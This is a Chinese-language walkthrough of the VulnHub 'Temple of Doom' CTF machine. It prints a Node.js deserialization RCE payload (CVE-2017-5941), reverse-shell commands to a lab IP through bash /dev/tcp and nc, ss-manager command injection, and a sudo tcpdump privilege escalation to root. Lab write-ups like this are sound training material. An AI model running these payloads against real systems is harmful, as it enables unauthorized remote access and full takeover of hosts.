靶机地址:https://www.vulnhub.com/entry/temple-of-doom-1,243/
靶机难度:中级(CTF)
靶机发布日期:2018年6月8日
靶机描述:
由https://twitter.com/0katz创建的CTF
]难度:简单/中级
在VirtualBox中测试
注意:2种扎根方法
目标:得到root权限&找到flag.txt
作者:DXR嗯嗯呐
信息收集
nmap扫描IP
nmap端口扫描
22 ssh
666 Express 是一个保持最小规模的灵活的 Node.js Web 应用程序开发框架,为 Web 和移动应用程序提供一组强大的功能。
访问80端口
没有获得有用的信息,使用dirb,nikto扫描,结果也没发现什么
Node.js远程命令执行漏洞
不知道怎么办了,使用burpsuite抓一下包看看吧
看到了cookie的值可能是一个base64编码
界面获得一个json字符串感觉格式不完整,修改一下
解码后
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMTIn0%3D
修改后
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}
重新编码提交,获得一个界面
加上cookie使用dirb扫描依然失败,看了看老人们的,发现这里是考Node.js反序列化远程代码执行(CVE-2017-5941)这个漏洞
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
- child_process是node.js中的一个模块,它以类似于popen(3)的方式生成子进程。
- child_process.exec 使用子进程exec执行命令,缓存子进程的输出,并将子进程的输出以回调函数参数的形式返回。
编译后
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQo=
获得用户名 nodeadmin
直接使用bash获得反弹shell
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.56.3/5555 0>&1',(error,stdout,stderr)=>{console.log(stdout)}); }()"}
ss-mannagen命令执行漏洞
测试几个提权脚本都不行,去home目录看到了fireman用户
但是没有权限,看看怎么越权获得fireman用户权限,发现此用户启动了ss-manager进程
Ss-manager是一款由ss团队开发的多用户管理面板程序。
找到ss-manager命令执行漏洞 参考
接下来利用此漏洞
看一下存不存在8839端口
直接nc连接
nc -u 127.0.0.1 8839
- -u : UDP模式
配置JSON,执行命令,在tmp创建evil文件
add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}
创建成功
使用bash,获得反弹shell
add: {"server_port":8003, "password":"test", "method":"||bash -i >& /dev/tcp/192.168.56.3/6666 0>&1|"}
在root目录下,但是没有权限
tcpdump命令执行
检查发现fireman具备sudo权限
使用tcpdump,可以用于远程代码执行
echo "nc -e /bin/bash 192.168.56.3 7777 "> shell.sh
chmod +x shell.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root
- -i : 指定监听的网络接口
- -w : 直接将包写入文件中,并不分析和打印出来
- -W :与-C选项一起使用时,这会将创建的文件数量限制为指定的数字,并从头开始覆盖文件,从而创建“旋转”缓冲区。另外,它将命名带有足够前导0的文件以支持最大数量的文件,使它们能够正确排序。与-G选项一起使用时,这将限制创建的旋转转储文件的数量,在达到限制时以状态0退出。如果与-C一起使用,则行为将导致每个时间片的循环文件。
- -G:如果指定,则每rotate_seconds秒旋转使用-w选项指定的转储文件。保存文件将具有由-w指定的名称,该名称 应包含由strftime(3)定义的时间格式。如果没有指定时间格式,则每个新文件都将覆盖前一个。如果与-C选项一起使用,则文件名将采用“ file <count>”的形式。
- -z : 与-C或-G选项一起使用,这将使tcpdump运行“ 命令文件 ”,其中文件是每次旋转后关闭的保存文件。例如,指定-z gzip或-z bzip2将使用gzip或bzip2压缩每个保存文件。
- 请注意,tcpdump将与捕获并行地运行命令,使用最低优先级,这样不会干扰捕获过程。
- 如果你想使用一个本身带有标志或不同参数的命令,你总是可以编写一个shell脚本,将savefile的名字作为唯一的参数,使标志和参数安排并执行你想要的命令。
- -Z : 删除权限(如果是root)并将用户标识更改为用户,将组标识更改为主要用户组。这种行为默认是启用的(-Z tcpdump),可以通过-Z root来禁用。
将nc反弹shell写入sh文件,赋执行权限,通过tcpdump执行反弹shell,获得root权限
获得完整的tty,获得flag
完成!!!
总结:
1、使用nmap发现22、666端口,访问666端口发现cookie不完整,修复获得返回。
2、利用Node.js远程代码执行漏洞,获得nodeadmin用户权限。
3、发现fireman用户执行了ss-manager进程,通过利用ss-manager命令执行漏洞,获得用户权限。
4、发现fireman具备sudo权限,利用tcpdump执行命令,获得root权限。